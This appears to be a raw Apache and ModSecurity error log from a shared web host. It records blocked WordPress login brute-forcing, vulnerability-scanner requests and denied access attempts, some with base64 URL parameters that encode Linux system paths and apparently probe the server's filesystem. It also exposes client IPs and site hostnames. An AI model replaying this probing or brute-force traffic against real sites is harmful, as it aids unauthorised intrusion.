"/wp-login.php"] [unique_id "ai30vdyTkdrNlD40tSHZdAAAUnQ"], referer: https://gkmasterson.com/wp-login.php [Sat Jun 13 18:24:29.879980 2026] [security2:error] [pid 715691:tid 715742] [remote 17.246.19.103:0] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 103.19.246.17.vulnscan.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "1566"] [id "900933"] [msg "Vulnerability Scan RBL: vulnscan.websitewelcome.com"] [hostname "torquayfans.com"] [uri "/viewtopic.php"] [unique_id "ai30vbV-dFiaX9AtWiQtVgABbyA"] [Sat Jun 13 18:24:29.944120 2026] [access_compat:error] [pid 646876:tid 646885] [remote 74.7.241.11:37276] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4, referer: https://homs.co.ke/?p=L3N5cy9kZXZpY2VzL3BsYXRmb3JtL2k4MDQyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2V2ZW50NC9zdWJzeXN0ZW0vZXZlbnQ1L3N1YnN5c3RlbS9ldmVudDIvc3Vic3lzdGVtL2V2ZW50MS9zdWJzeXN0ZW0vaW5wdXQ0L21vdXNlMS9zdWJzeXN0ZW0vaW5wdXQ0L2V2ZW50NC9zdWJzeXN0ZW0vbW91c2UyL3N1YnN5c3RlbS9tb3VzZTAvc3Vic3lzdGVtL2V2ZW50NC9kZXZpY2UvZGV2aWNlL2lucHV0L2lucHV0NS9tb3VzZTAvc3Vic3lzdGVtL2lucHV0Mi9kZXZpY2UvZmlybXdhcmVfbm9kZS9waHlzaWNhbF9ub2RlMS9kcml2ZXIvc2VyaW8wL2RyaXZlci9zZXJpbzAvZHJpdmVyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2lucHV0MC9kZXZpY2Uvc3Vic3lzdGVtL2RldmljZXMvZGV2aWNlOjI2L3Bvd2Vy [Sat Jun 13 18:24:29.944542 2026] [access_compat:error] [pid 646876:tid 646885] [remote 74.7.241.11:37276] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3, referer: https://homs.co.ke/?p=L3N5cy9kZXZpY2VzL3BsYXRmb3JtL2k4MDQyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2V2ZW50NC9zdWJzeXN0ZW0vZXZlbnQ1L3N1YnN5c3RlbS9ldmVudDIvc3Vic3lzdGVtL2V2ZW50MS9zdWJzeXN0ZW0vaW5wdXQ0L21vdXNlMS9zdWJzeXN0ZW0vaW5wdXQ0L2V2ZW50NC9zdWJzeXN0ZW0vbW91c2UyL3N1YnN5c3RlbS9tb3VzZTAvc3Vic3lzdGVtL2V2ZW50NC9kZXZpY2UvZGV2aWNlL2lucHV0L2lucHV0NS9tb3VzZTAvc3Vic3lzdGVtL2lucHV0Mi9kZXZpY2UvZmlybXdhcmVfbm9kZS9waHlzaWNhbF9ub2RlMS9kcml2ZXIvc2VyaW8wL2RyaXZlci9zZXJpbzAvZHJpdmVyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2lucHV0MC9kZXZpY2Uvc3Vic3lzdGVtL2RldmljZXMvZGV2aWNlOjI2L3Bvd2Vy [Sat Jun 13 18:24:29.981013 2026] [security2:error] [pid 715691:tid 715739] [remote 17.241.219.180:0] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 180.219.241.17.vulnscan.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "1566"] [id "900933"] [msg "Vulnerability Scan RBL: vulnscan.websitewelcome.com"] [hostname "torquayfans.com"] [uri "/viewtopic.php"] [unique_id "ai30vbV-dFiaX9AtWiQtWwABfR0"] [Sat Jun 13 18:24:30.268547 2026] [access_compat:error] [pid 646876:tid 646951] [remote 216.73.216.182:54908] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4 [Sat Jun 13 18:24:30.269014 2026] [access_compat:error] [pid 646876:tid 646951] [remote 216.73.216.182:54908] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3 [Sat Jun 13 18:24:30.389272 2026] [access_compat:error] [pid 715691:tid 715743] [remote 57.141.14.53:38466] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4 [Sat Jun 13 18:24:30.389553 2026] [access_compat:error] [pid 715691:tid 715743] [remote 57.141.14.53:38466] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3 [Sat Jun 13 18:24:30.449677 2026] [access_compat:error] [pid 646876:tid 646926] [remote 74.7.241.11:37276] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4, referer: https://homs.co.ke/?p=L3N5cy9kZXZpY2VzL3BsYXRmb3JtL2k4MDQyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2V2ZW50NC9zdWJzeXN0ZW0vZXZlbnQ1L3N1YnN5c3RlbS9ldmVudDIvc3Vic3lzdGVtL2V2ZW50MS9zdWJzeXN0ZW0vaW5wdXQ0L21vdXNlMS9zdWJzeXN0ZW0vaW5wdXQ0L2V2ZW50NC9zdWJzeXN0ZW0vbW91c2UyL3N1YnN5c3RlbS9tb3VzZTAvc3Vic3lzdGVtL2V2ZW50NC9kZXZpY2UvZGV2aWNlL2lucHV0L2lucHV0NS9tb3VzZTAvc3Vic3lzdGVtL2lucHV0Mi9kZXZpY2UvZmlybXdhcmVfbm9kZS9waHlzaWNhbF9ub2RlMS9kcml2ZXIvc2VyaW8wL2RyaXZlci9zZXJpbzAvZHJpdmVyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2lucHV0Ni9zdWJzeXN0ZW0vZXZlbnQyL3N1YnN5c3RlbS9pbnB1dDIvaW5wdXQyOjpudW1sb2Nr [Sat Jun 13 18:24:30.450025 2026] [access_compat:error] [pid 646876:tid 646926] [remote 74.7.241.11:37276] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3, referer: https://homs.co.ke/?p=L3N5cy9kZXZpY2VzL3BsYXRmb3JtL2k4MDQyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2V2ZW50NC9zdWJzeXN0ZW0vZXZlbnQ1L3N1YnN5c3RlbS9ldmVudDIvc3Vic3lzdGVtL2V2ZW50MS9zdWJzeXN0ZW0vaW5wdXQ0L21vdXNlMS9zdWJzeXN0ZW0vaW5wdXQ0L2V2ZW50NC9zdWJzeXN0ZW0vbW91c2UyL3N1YnN5c3RlbS9tb3VzZTAvc3Vic3lzdGVtL2V2ZW50NC9kZXZpY2UvZGV2aWNlL2lucHV0L2lucHV0NS9tb3VzZTAvc3Vic3lzdGVtL2lucHV0Mi9kZXZpY2UvZmlybXdhcmVfbm9kZS9waHlzaWNhbF9ub2RlMS9kcml2ZXIvc2VyaW8wL2RyaXZlci9zZXJpbzAvZHJpdmVyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2lucHV0Ni9zdWJzeXN0ZW0vZXZlbnQyL3N1YnN5c3RlbS9pbnB1dDIvaW5wdXQyOjpudW1sb2Nr [Sat Jun 13 18:24:30.455102 2026] [security2:error] [pid 646876:tid 646932] [remote 77.91.86.254:51946] ModSecurity: Access denied with code 406 (phase 1). Match of "ipMatch 127.0.0.1" against "REMOTE_ADDR" required. [file "/opt/mod_security/hg_rules.conf"] [line "1461"] [id "909116"] [msg "Golang default UA"] [hostname "sunshinemanage.com"] [uri "/"] [unique_id "ai30vtyTkdrNlD40tSHZiwAADDU"] [Sat Jun 13 18:24:30.501960 2026] [security2:error] [pid 646876:tid 647071] [client 159.223.112.69:54620] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 69.112.223.159.testwprbl.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "176"] [id "900407"] [msg "Wordpress and Joomla Brute RBL: testwprbl.websitewelcome.com"] [hostname "www.nels.pikarthouse.com"] [uri "/wp-login.php"] [unique_id "ai30vtyTkdrNlD40tSHZjQAAAD8"], referer: https://www.nels.pikarthouse.com/wp-login.php [Sat Jun 13 18:24:30.513736 2026] [security2:error] [pid 715691:tid 715842] [client 159.223.112.69:54636] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 69.112.223.159.testwprbl.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "176"] [id "900407"] [msg "Wordpress and Joomla Brute RBL: testwprbl.websitewelcome.com"] [hostname "www.nels.pikarthouse.com"] [uri "/wp-login.php"] [unique_id "ai30vrV-dFiaX9AtWiQtaAAAAQs"], referer: https://www.nels.pikarthouse.com/wp-login.php [Sat Jun 13 18:24:30.583248 2026] [access_compat:error] [pid 715691:tid 715752] [remote 57.141.14.48:59079] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4 [Sat Jun 13 18:24:30.583713 2026] [access_compat:error] [pid 715691:tid 715752] [remote 57.141.14.48:59079] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3 [Sat Jun 13 18:24:30.721269 2026] [security2:error] [pid 646876:tid 647097] [client 159.223.112.69:54644] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 69.112.223.159.testwprbl.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "176"] [id "900407"] [msg "Wordpress and Joomla Brute RBL: testwprbl.websitewelcome.com"] [hostname "www.nels.pikarthouse.com"] [uri "/wp-login.php"] [unique_id "ai30vtyTkdrNlD40tSHZkwAAAFk"], referer: https://www.nels.pikarthouse.com/wp-login.php [Sat Jun 13 18:24:30.794262 2026] [security2:error] [pid 715691:tid 715907] [client 159.223.112.69:54648] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 69.112.223.159.testwprbl.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "176"] [id "900407"] [msg "Wordpress and Joomla Brute RBL: testwprbl.websitewelcome.com"] [hostname "www.nels.pikarthouse.com"] [uri "/wp-login.php"] [unique_id "ai30vrV-dFiaX9AtWiQtbgAAAUw"], referer: https://www.nels.pikarthouse.com/wp-login.php [Sat Jun 13 18:24:31.005091 2026] [access_compat:error] [pid 646876:tid 646950] [remote 74.7.241.11:37276] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4, referer: https://homs.co.ke/?p=L3N5cy9kZXZpY2VzL3BsYXRmb3JtL2k4MDQyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2V2ZW50NC9zdWJzeXN0ZW0vZXZlbnQ1L3N1YnN5c3RlbS9ldmVudDIvc3Vic3lzdGVtL2V2ZW50MS9zdWJzeXN0ZW0vaW5wdXQ0L21vdXNlMS9zdWJzeXN0ZW0vaW5wdXQ0L2V2ZW50NC9zdWJzeXN0ZW0vbW91c2UyL3N1YnN5c3RlbS9tb3VzZTAvc3Vic3lzdGVtL2V2ZW50NC9kZXZpY2UvZGV2aWNlL2lucHV0L2lucHV0NS9tb3VzZTAvc3Vic3lzdGVtL2lucHV0Mi9kZXZpY2UvZmlybXdhcmVfbm9kZS9waHlzaWNhbF9ub2RlMS9kcml2ZXIvc2VyaW8wL2RyaXZlci9zZXJpbzAvZHJpdmVyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL21vdXNlMi9zdWJzeXN0ZW0vbW91c2UwL3N1YnN5c3RlbS9ldmVudDUvZGV2aWNlL2RldmljZQ== [Sat Jun 13 18:24:31.005543 2026] [access_compat:error] [pid 646876:tid 646950] [remote 74.7.241.11:37276] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3, referer: https://homs.co.ke/?p=L3N5cy9kZXZpY2VzL3BsYXRmb3JtL2k4MDQyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2V2ZW50NC9zdWJzeXN0ZW0vZXZlbnQ1L3N1YnN5c3RlbS9ldmVudDIvc3Vic3lzdGVtL2V2ZW50MS9zdWJzeXN0ZW0vaW5wdXQ0L21vdXNlMS9zdWJzeXN0ZW0vaW5wdXQ0L2V2ZW50NC9zdWJzeXN0ZW0vbW91c2UyL3N1YnN5c3RlbS9tb3VzZTAvc3Vic3lzdGVtL2V2ZW50NC9kZXZpY2UvZGV2aWNlL2lucHV0L2lucHV0NS9tb3VzZTAvc3Vic3lzdGVtL2lucHV0Mi9kZXZpY2UvZmlybXdhcmVfbm9kZS9waHlzaWNhbF9ub2RlMS9kcml2ZXIvc2VyaW8wL2RyaXZlci9zZXJpbzAvZHJpdmVyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL21vdXNlMi9zdWJzeXN0ZW0vbW91c2UwL3N1YnN5c3RlbS9ldmVudDUvZGV2aWNlL2RldmljZQ== [Sat Jun 13 18:24:31.016416 2026] [security2:error] [pid 646876:tid 647029] [client 159.223.112.69:54660] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 69.112.223.159.testwprbl.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "176"] [id "900407"] [msg "Wordpress and Joomla Brute RBL: testwprbl.websitewelcome.com"] [hostname "www.nels.pikarthouse.com"] [uri "/wp-login.php"] [unique_id "ai30v9yTkdrNlD40tSHZoQAAABU"], referer: https://www.nels.pikarthouse.com/wp-login.php [Sat Jun 13 18:24:31.067331 2026] [security2:error] [pid 646876:tid 646898] [remote 17.246.15.172:0] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 172.15.246.17.vulnscan.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "1566"] [id "900933"] [msg "Vulnerability Scan RBL: vulnscan.websitewelcome.com"] [hostname "torquayfans.com"] [uri "/viewtopic.php"] [unique_id "ai30v9yTkdrNlD40tSHZpQAAJhM"] [Sat Jun 13 18:24:31.105487 2026] [access_compat:error] [pid 646876:tid 646918] [remote 57.141.14.75:57354] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4 [Sat Jun 13 18:24:31.105805 2026] [access_compat:error] [pid 646876:tid 646918] [remote 57.141.14.75:57354] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3 [Sat Jun 13 18:24:31.536786 2026] [access_compat:error] [pid 646876:tid 646984] [remote 74.7.241.11:37276] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4, referer: https://homs.co.ke/?p=L3N5cy9kZXZpY2VzL3BsYXRmb3JtL2k4MDQyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2V2ZW50NC9zdWJzeXN0ZW0vZXZlbnQ1L3N1YnN5c3RlbS9ldmVudDIvc3Vic3lzdGVtL2V2ZW50MS9zdWJzeXN0ZW0vaW5wdXQ0L21vdXNlMS9zdWJzeXN0ZW0vaW5wdXQ0L2V2ZW50NC9zdWJzeXN0ZW0vbW91c2UyL3N1YnN5c3RlbS9tb3VzZTAvc3Vic3lzdGVtL2V2ZW50NC9kZXZpY2UvZGV2aWNlL2lucHV0L2lucHV0NS9tb3VzZTAvc3Vic3lzdGVtL2lucHV0Mi9kZXZpY2UvZmlybXdhcmVfbm9kZS9waHlzaWNhbF9ub2RlMS9kcml2ZXIvc2VyaW8wL2RyaXZlci9zZXJpbzAvZHJpdmVyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2lucHV0MC9zdWJzeXN0ZW0vZXZlbnQwL3N1YnN5c3RlbS9pbnB1dDU= [Sat Jun 13 18:24:31.537075 2026] [access_compat:error] [pid 646876:tid 646984] [remote 74.7.241.11:37276] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3, referer: https://homs.co.ke/?p=L3N5cy9kZXZpY2VzL3BsYXRmb3JtL2k4MDQyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2V2ZW50NC9zdWJzeXN0ZW0vZXZlbnQ1L3N1YnN5c3RlbS9ldmVudDIvc3Vic3lzdGVtL2V2ZW50MS9zdWJzeXN0ZW0vaW5wdXQ0L21vdXNlMS9zdWJzeXN0ZW0vaW5wdXQ0L2V2ZW50NC9zdWJzeXN0ZW0vbW91c2UyL3N1YnN5c3RlbS9tb3VzZTAvc3Vic3lzdGVtL2V2ZW50NC9kZXZpY2UvZGV2aWNlL2lucHV0L2lucHV0NS9tb3VzZTAvc3Vic3lzdGVtL2lucHV0Mi9kZXZpY2UvZmlybXdhcmVfbm9kZS9waHlzaWNhbF9ub2RlMS9kcml2ZXIvc2VyaW8wL2RyaXZlci9zZXJpbzAvZHJpdmVyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2lucHV0MC9zdWJzeXN0ZW0vZXZlbnQwL3N1YnN5c3RlbS9pbnB1dDU= [Sat Jun 13 18:24:31.616169 2026] [security2:error] [pid 715691:tid 715926] [client 216.73.216.11:0] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 11.216.73.216.vulnscan.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "1566"] [id "900933"] [msg "Vulnerability Scan RBL: vulnscan.websitewelcome.com"] [hostname "mail.goldensnifferproducts.com"] [uri "/php52/ext/filter/tests/011.phpt"] [unique_id "ai30v7V-dFiaX9AtWiQtggAAAV8"], referer: https://mail.goldensnifferproducts.com/php52/ext/filter/tests/011.phpt [Sat Jun 13 18:24:31.682138 2026] [security2:error] [pid 646876:tid 646903] [remote 17.22.237.220:0] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 220.237.22.17.vulnscan.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "1566"] [id "900933"] [msg "Vulnerability Scan RBL: vulnscan.websitewelcome.com"] [hostname "torquayfans.com"] [uri "/viewtopic.php"] [unique_id "ai30v9yTkdrNlD40tSHZuwAAGBg"] [Sat Jun 13 18:24:31.694082 2026] [access_compat:error] [pid 715691:tid 715744] [remote 57.141.14.54:34497] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4 [Sat Jun 13 18:24:31.694375 2026] [access_compat:error] [pid 715691:tid 715744] [remote 57.141.14.54:34497] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3 [Sat Jun 13 18:24:32.063618 2026] [access_compat:error] [pid 646876:tid 646911] [remote 57.141.14.26:22926] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4 [Sat Jun 13 18:24:32.063924 2026] [access_compat:error] [pid 646876:tid 646911] [remote 57.141.14.26:22926] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3 [Sat Jun 13 18:24:32.066208 2026] [access_compat:error] [pid 646876:tid 646889] [remote 74.7.241.11:37276] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4, referer: https://homs.co.ke/?p=L3N5cy9kZXZpY2VzL3BsYXRmb3JtL2k4MDQyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2V2ZW50NC9zdWJzeXN0ZW0vZXZlbnQ1L3N1YnN5c3RlbS9ldmVudDIvc3Vic3lzdGVtL2V2ZW50MS9zdWJzeXN0ZW0vaW5wdXQ0L21vdXNlMS9zdWJzeXN0ZW0vaW5wdXQ0L2V2ZW50NC9zdWJzeXN0ZW0vbW91c2UyL3N1YnN5c3RlbS9tb3VzZTAvc3Vic3lzdGVtL2V2ZW50NC9kZXZpY2UvZGV2aWNlL2lucHV0L2lucHV0NS9tb3VzZTAvc3Vic3lzdGVtL2lucHV0Mi9kZXZpY2UvZmlybXdhcmVfbm9kZS9waHlzaWNhbF9ub2RlMS9kcml2ZXIvc2VyaW8wL2RyaXZlci9zZXJpbzAvZHJpdmVyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2lucHV0NC9tb3VzZTEvZGV2aWNlL3N1YnN5c3RlbS9pbnB1dDYvZXZlbnQ1L2RldmljZS9pZA== [Sat Jun 13 18:24:32.066674 2026] [access_compat:error] [pid 646876:tid 646889] [remote 74.7.241.11:37276] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3, referer: https://homs.co.ke/?p=L3N5cy9kZXZpY2VzL3BsYXRmb3JtL2k4MDQyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2V2ZW50NC9zdWJzeXN0ZW0vZXZlbnQ1L3N1YnN5c3RlbS9ldmVudDIvc3Vic3lzdGVtL2V2ZW50MS9zdWJzeXN0ZW0vaW5wdXQ0L21vdXNlMS9zdWJzeXN0ZW0vaW5wdXQ0L2V2ZW50NC9zdWJzeXN0ZW0vbW91c2UyL3N1YnN5c3RlbS9tb3VzZTAvc3Vic3lzdGVtL2V2ZW50NC9kZXZpY2UvZGV2aWNlL2lucHV0L2lucHV0NS9tb3VzZTAvc3Vic3lzdGVtL2lucHV0Mi9kZXZpY2UvZmlybXdhcmVfbm9kZS9waHlzaWNhbF9ub2RlMS9kcml2ZXIvc2VyaW8wL2RyaXZlci9zZXJpbzAvZHJpdmVyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2lucHV0NC9tb3VzZTEvZGV2aWNlL3N1YnN5c3RlbS9pbnB1dDYvZXZlbnQ1L2RldmljZS9pZA== [Sat Jun 13 18:24:32.107800 2026] [access_compat:error] [pid 715691:tid 715771] [remote 57.141.14.89:46952] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4 [Sat Jun 13 18:24:32.108066 2026] [access_compat:error] [pid 715691:tid 715771] [remote 57.141.14.89:46952] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3 [Sat Jun 13 18:24:32.372584 2026] [access_compat:error] [pid 715691:tid 715829] [remote 57.141.14.26:22930] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4 [Sat Jun 13 18:24:32.372921 2026] [access_compat:error] [pid 715691:tid 715829] [remote 57.141.14.26:22930] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3 [Sat Jun 13 18:24:32.587610 2026] [access_compat:error] [pid 646876:tid 646901] [remote 74.7.241.11:37276] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4, referer: https://homs.co.ke/?p=L3N5cy9kZXZpY2VzL3BsYXRmb3JtL2k4MDQyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2V2ZW50NC9zdWJzeXN0ZW0vZXZlbnQ1L3N1YnN5c3RlbS9ldmVudDIvc3Vic3lzdGVtL2V2ZW50MS9zdWJzeXN0ZW0vaW5wdXQ0L21vdXNlMS9zdWJzeXN0ZW0vaW5wdXQ0L2V2ZW50NC9zdWJzeXN0ZW0vbW91c2UyL3N1YnN5c3RlbS9tb3VzZTAvc3Vic3lzdGVtL2V2ZW50NC9kZXZpY2UvZGV2aWNlL2lucHV0L2lucHV0NS9tb3VzZTAvc3Vic3lzdGVtL2lucHV0Mi9kZXZpY2UvZmlybXdhcmVfbm9kZS9waHlzaWNhbF9ub2RlMS9kcml2ZXIvc2VyaW8wL2RyaXZlci9zZXJpbzAvZHJpdmVyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2lucHV0Mi9zdWJzeXN0ZW0vaW5wdXQyL2lucHV0Mjo6bnVtbG9jay9kZXZpY2UvZGV2aWNl [Sat Jun 13 18:24:32.588004 2026] [access_compat:error] [pid 646876:tid 646901] [remote 74.7.241.11:37276] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3, referer: https://homs.co.ke/?p=L3N5cy9kZXZpY2VzL3BsYXRmb3JtL2k4MDQyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2V2ZW50NC9zdWJzeXN0ZW0vZXZlbnQ1L3N1YnN5c3RlbS9ldmVudDIvc3Vic3lzdGVtL2V2ZW50MS9zdWJzeXN0ZW0vaW5wdXQ0L21vdXNlMS9zdWJzeXN0ZW0vaW5wdXQ0L2V2ZW50NC9zdWJzeXN0ZW0vbW91c2UyL3N1YnN5c3RlbS9tb3VzZTAvc3Vic3lzdGVtL2V2ZW50NC9kZXZpY2UvZGV2aWNlL2lucHV0L2lucHV0NS9tb3VzZTAvc3Vic3lzdGVtL2lucHV0Mi9kZXZpY2UvZmlybXdhcmVfbm9kZS9waHlzaWNhbF9ub2RlMS9kcml2ZXIvc2VyaW8wL2RyaXZlci9zZXJpbzAvZHJpdmVyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2lucHV0Mi9zdWJzeXN0ZW0vaW5wdXQyL2lucHV0Mjo6bnVtbG9jay9kZXZpY2UvZGV2aWNl [Sat Jun 13 18:24:32.593439 2026] [access_compat:error] [pid 646876:tid 646969] [remote 57.141.14.110:32320] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4 [Sat Jun 13 18:24:32.593874 2026] [access_compat:error] [pid 646876:tid 646969] [remote 57.141.14.110:32320] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3 [Sat Jun 13 18:24:32.708077 2026] [security2:error] [pid 646876:tid 646908] [remote 17.246.19.87:0] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 87.19.246.17.vulnscan.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "1566"] [id "900933"] [msg "Vulnerability Scan RBL: vulnscan.websitewelcome.com"] [hostname "torquayfans.com"] [uri "/viewtopic.php"] [unique_id "ai30wNyTkdrNlD40tSHZ8wAAdx0"] [Sat Jun 13 18:24:32.727274 2026] [security2:error] [pid 646876:tid 646981] [remote 17.22.245.76:0] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 76.245.22.17.vulnscan.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "1566"] [id "900933"] [msg "Vulnerability Scan RBL: vulnscan.websitewelcome.com"] [hostname "torquayfans.com"] [uri "/viewtopic.php"] [unique_id "ai30wNyTkdrNlD40tSHZ9AAAImY"] [Sat Jun 13 18:24:32.736081 2026] [security2:error] [pid 715691:tid 715904] [client 159.223.112.69:54676] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 69.112.223.159.testwprbl.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "176"] [id "900407"] [msg "Wordpress and Joomla Brute RBL: testwprbl.websitewelcome.com"] [hostname "www.nels.pikarthouse.com"] [uri "/wp-login.php"] [unique_id "ai30wLV-dFiaX9AtWiQtpgAAAUk"], referer: https://www.nels.pikarthouse.com/wp-login.php [Sat Jun 13 18:24:32.736742 2026] [security2:error] [pid 715691:tid 715823] [remote 17.241.227.131:0] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 131.227.241.17.vulnscan.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "1566"] [id "900933"] [msg "Vulnerability Scan RBL: vulnscan.websitewelcome.com"] [hostname "torquayfans.com"] [uri "/viewtopic.php"] [unique_id "ai30wLV-dFiaX9AtWiQtpAABTnA"] [Sat Jun 13 18:24:32.875613 2026] [security2:error] [pid 715691:tid 715762] [remote 17.22.237.65:0] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 65.237.22.17.vulnscan.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "1566"] [id "900933"] [msg "Vulnerability Scan RBL: vulnscan.websitewelcome.com"] [hostname "torquayfans.com"] [uri "/viewtopic.php"] [unique_id "ai30wLV-dFiaX9AtWiQtqQABczM"] [Sat Jun 13 18:24:32.955262 2026] [security2:error] [pid 715691:tid 715921] [client 159.223.112.69:54686] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 69.112.223.159.testwprbl.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "176"] [id "900407"] [msg "Wordpress and Joomla Brute RBL: testwprbl.websitewelcome.com"] [hostname "www.nels.pikarthouse.com"] [uri "/wp-login.php"] [unique_id "ai30wLV-dFiaX9AtWiQtrQAAAVo"], referer: https://www.nels.pikarthouse.com/wp-login.php [Sat Jun 13 18:24:33.000249 2026] [core:error] [pid 715691:tid 715882] [client 47.79.201.228:59826] AH00124: Request exceeded the limit of 10 internal redirects due to probable configuration error. Use 'LimitInternalRecursion' to increase the limit if necessary. Use 'LogLevel debug' to get a backtrace., referer: https://www.google.com/ [Sat Jun 13 18:24:33.000286 2026] [core:error] [pid 715691:tid 715882] [client 47.79.201.228:59826] AH00124: Request exceeded the limit of 10 internal redirects due to probable configuration error. Use 'LimitInternalRecursion' to increase the limit if necessary. Use 'LogLevel debug' to get a backtrace., referer: https://www.google.com/ [Sat Jun 13 18:24:33.039582 2026] [security2:error] [pid 646876:tid 646951] [remote 17.246.23.94:0] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 94.23.246.17.vulnscan.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "1566"] [id "900933"] [msg "Vulnerability Scan RBL: vulnscan.websitewelcome.com"] [hostname "torquayfans.com"] [uri "/viewtopic.php"] [unique_id "ai30wdyTkdrNlD40tSHaAgAAB0g"] [Sat Jun 13 18:24:33.076660 2026] [access_compat:error] [pid 646876:tid 647005] [remote 74.7.241.11:37276] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4, referer: 